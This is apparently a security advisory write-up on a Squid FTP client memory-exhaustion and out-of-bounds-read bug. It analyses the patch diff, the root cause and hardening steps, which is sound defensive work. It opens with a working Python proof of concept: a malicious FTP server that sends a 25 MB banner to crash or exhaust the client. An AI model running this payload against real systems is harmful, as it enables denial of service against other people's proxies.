The Exploit
Attacker needs control of the upstream FTP server that the Squid FTP client/gateway is connecting to.
#!/usr/bin/env python3
import socket
payload = b'220 ' + b'A' * 25000000 + b'\r\n'
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(('0.0.0.0', 2121))
srv.listen(1)
conn, addr = srv.accept()
with conn:
conn.sendall(payload)
Start this malicious FTP server and point the vulnerable Squid FTP client at it; the initial FTP banner is enough to trigger the bug.
When the request lands, the vulnerable code accepts the oversized FTP control reply and begins repeatedly reallocating ctrl.buf without a hard upper bound. The attacker sees the Squid process consume tens of megabytes of memory or fail the FTP session as the reply buffer grows uncontrollably.
What the Patch Did
Before:
buf = static_cast<char*>(memAllocBuf(4096, &size));
...
if (ctrl.offset == ctrl.size) {
ctrl.buf = static_cast<char*>(memReallocBuf(ctrl.buf, ctrl.size << 1, &ctrl.size));
}
...
comm_read(ctrl.conn, ctrl.buf + ctrl.offset, ctrl.size - ctrl.offset, reader);
while (strchr(w_space, *copyFrom))
++copyFrom;
...
if (strchr(w_space, *copyFrom))
++copyFrom;
After:
buf = static_cast<char*>(memAllocBuf(min(size_t(4096), Config.maxReplyHeaderSize), &size));
...
const auto maxSize = min(Config.maxReplyHeaderSize, std::numeric_limits<decltype(ctrl.size)>::max());
if (ctrl.offset >= maxSize) {
debugs(9, 2, "FTP control reply size will exceed " << maxSize << "; reply_header_max_size=" << Config.maxReplyHeaderSize);
failed(ERR_FTP_FAILURE, 0);
return;
}
if (ctrl.offset == ctrl.size) {
const auto newSize = (ctrl.size <= maxSize/2) ? (ctrl.size*2) : maxSize;
Assure(newSize > ctrl.size);
ctrl.buf = static_cast<char*>(memReallocBuf(ctrl.buf, newSize, &ctrl.size));
Assure(ctrl.offset < ctrl.size);
}
...
const auto maxOffset = min(ctrl.size, Config.maxReplyHeaderSize);
Assure(maxOffset > ctrl.offset);
Assure(maxOffset <= ctrl.size);
const auto maxReadSize = maxOffset - ctrl.offset;
comm_read(ctrl.conn, ctrl.buf + ctrl.offset, maxReadSize, reader);
while (*copyFrom && strchr(w_space, *copyFrom))
++copyFrom;
...
if (*copyFrom && strchr(w_space, *copyFrom))
++copyFrom;
The patch enforces an explicit maximum on FTP control reply size using Config.maxReplyHeaderSize, aborts the transaction if the reply exceeds that cap, and prevents strchr() from reading past the end of the string during gateway parsing.
Root Cause
This was a classic unchecked resource-allocation bug in Squid's FTP client plus a companion out-of-bounds read in the FTP gateway parser. Untrusted data from the FTP server enters via ctrl.conn and is appended into ctrl.buf; because ctrl.offset was allowed to grow without checking against Config.maxReplyHeaderSize, the code kept doubling the buffer and could exhaust memory (CWE-770). Separately, the gateway parser advanced copyFrom over whitespace using strchr(w_space, *copyFrom) without first checking whether *copyFrom was the NUL terminator, creating an out-of-bounds read (CWE-125).
Why It Works
The load-bearing fix is the early size check:
if (ctrl.offset >= maxSize) { ... failed(ERR_FTP_FAILURE, 0); return; }
Without that line, the FTP client would still be able to consume a reply larger than the configured maximum and continue reallocating ctrl.buf indefinitely. The other additions are defense-in-depth: capping the initial allocation to Config.maxReplyHeaderSize avoids allocating more than necessary, the newSize logic prevents memReallocBuf from growing past the maximum, and maxReadSize ensures comm_read never requests more bytes than the bound allows. In the gateway parser, the added *copyFrom && guards are the actual fix; they ensure strchr() is only called on valid string bytes, preventing the crash/out-of-bounds read when the whitespace scan reaches the end of the input buffer.
Hardening Checklist
- enforce explicit header/message limits before dynamic buffer growth, e.g. use
min(Config.maxReplyHeaderSize, SIZE_t)and fail early. - do not double-buffer without a known upper bound; always clamp
realloctargets to a configured maximum. - guard string scanning loops with
*p != '\0'before calling functions likestrchr(). - treat every network reply as untrusted and validate protocol headers before storing them in heap-backed reply buffers.
- use sane size checks on both allocation and read lengths, such as
maxReadSize = min(ctrl.size, maxAllowed) - ctrl.offset.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-47729